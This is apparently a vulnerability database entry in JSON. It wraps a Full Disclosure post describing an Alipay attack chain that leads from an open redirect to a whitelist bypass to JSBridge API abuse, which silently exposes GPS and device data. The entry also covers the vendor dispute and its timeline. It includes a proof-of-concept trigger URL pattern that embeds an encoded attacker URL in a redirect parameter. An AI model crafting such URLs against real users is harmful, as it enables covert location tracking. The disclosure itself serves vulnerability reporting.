GCVE-1988-2026-0243
Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-09 13:40| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| Ant Group (蚂蚁集团) / Alibaba Group | Alipay DeepLink+JSBridge Attack |
Affected:
unknown
|
guessed |
{
"containers": {
"cna": {
"affected": [
{
"product": "Alipay DeepLink+JSBridge Attack",
"vendor": "Ant Group (\u8682\u8681\u96c6\u56e2) / Alibaba Group",
"versions": [
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"status": "affected",
"version": "unknown"
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"credits": [
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"lang": "en",
"type": "finder",
"value": "Feng Ning via Fulldisclosure"
}
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"descriptions": [
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"lang": "en",
"value": "Subject: Alipay DeepLink+JSBridge Attack Chain: Silent GPS Exfiltration, 17 Vulns, 6 CVEs (CVSS 9.3)\n\n# Alipay DeepLink + JSBridge Attack Chain\n# Silent GPS Exfiltration via Crafted URL\n\n## Overview\n\nResearcher: Jiqiang Feng / Innora AI Security Research\nVendor: Ant Group (\u8682\u8681\u96c6\u56e2) / Alibaba Group\nProduct: Alipay (\u652f\u4ed8\u5b9d) v10.x (Android \u0026 iOS)\nUsers Affected: 1 billion+\nCVEs: 6 submitted to MITRE CNA-LR (2026-03-12)\nCVSS: 7.4\u20139.3\nVendor Response: \"Normal functionality\"\nDisclosure: Responsible (Feb 25 \u2192 Mar 11 public)\n\n## Vulnerability Chain\n\nA single crafted URL triggers the following attack chain:\n\n1. Open Redirect (CWE-601): ds.alipay.com/?scheme= accepts arbitrary URL parameters, redirecting to Alipay app via deep \nlink\n2. Whitelist Bypass (CWE-939): ds.alipay.com is a whitelisted Alipay domain, so the deep link handler trusts the \nredirect target\n3. WebView Loading: Attacker-controlled page loads in Alipay\u0027s privileged WebView with JSBridge access\n4. API Abuse: AlipayJSBridge.call() exposes sensitive native APIs without user consent\n\n## Exploitable APIs (Verified)\n\n| # | API | Data Extracted | Android | iOS |\n|---|-----|---------------|---------|-----|\n| 1 | getLocation | GPS coords (8.8m accuracy) | \u2713 | \u2713 |\n| 2 | getNetworkType | WiFi/cellular, carrier info | \u2713 | \u2713 |\n| 3 | getSystemInfo | Device model, OS, screen | \u2713 | \u2713 |\n| 4 | getCameraPermission | Camera auth status | \u2713 | \u2713 |\n| 5 | getMicrophonePermission | Mic auth status | \u2713 | \u2713 |\n| 6 | tradePay | Pre-fill payment screen | \u2717 | \u2713 |\n| 7 | share | Trigger share dialog | \u2717 | \u2713 |\n| 8 | scan | Activate QR scanner | \u2717 | \u2713 |\n| 9 | chooseImage | Access photo picker | \u2717 | \u2713 |\n\niOS attack surface is significantly larger than Android.\n\n## PoC\n\nTrigger URL pattern:\nhttps://ds.alipay.com/?scheme=alipays://platformapi/startapp?appId=20000067\u0026url=[BASE64_ENCODED_ATTACKER_URL]\n\nVerification page (read-only, no data collection):\nhttps://innora.ai/zfb/poc/trigger.html\n\n## Verification\n\n- 3 devices: Samsung S25 Ultra (NZ), Xiaomi Redmi 12 (MY), iPhone 16 Pro (CN-Hangzhou)\n- 308 server-side exfiltration logs\n- 42 screenshots\n- Vendor\u0027s own security lead tested on iPhone from Hangzhou (Alipay HQ) \u2014 GPS captured silently in 7 seconds, accuracy \n8.8m\n\n## Timeline\n\n2026-02-25: Initial TLS/SSL report to vendor\n2026-03-06: Vendor: \"cannot be practically exploited\"\n2026-03-07: Expanded report (17 vulns, full E2E proof)\n2026-03-07: Whitelist bypass achieved in 2 min during live call with vendor\n2026-03-08: Vendor\u0027s security lead\u0027s iPhone tested from Hangzhou \u2014 GPS captured\n2026-03-10: Vendor final: \"normal functionality\"\n2026-03-11: Public disclosure\n2026-03-11: Vendor\u0027s law firm files takedown complaint (4 hours later)\n2026-03-12: 6 CVEs submitted to MITRE\n\n## Full Report\n\nhttps://innora.ai/zfb/ (bilingual EN/ZH)\n\n## Notes\n\n- Alibaba is a registered CNA (CNA-2017-0006) but refused to assign CVEs\n- Vendor\u0027s law firm complaint targets an article that never once mentions \"Alipay\" or \"Ant Group\" by name\n- Vendor\u0027s security contact privately called it a \"\u6d1e\" (hole/vuln) while officially classifying as \"normal functionality\"\n\n## Contact\n\nJiqiang Feng | feng () innora ai | Innora AI Security Research\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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"lang": "en",
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"description": "CWE-939",
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"source": {
"defect": [
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"discovery": "EXTERNAL"
},
"title": "Alipay DeepLink+JSBridge Attack Chain: Silent GPS Exfiltration, 17 Vulns, 6 CVEs (CVSS 9.3)",
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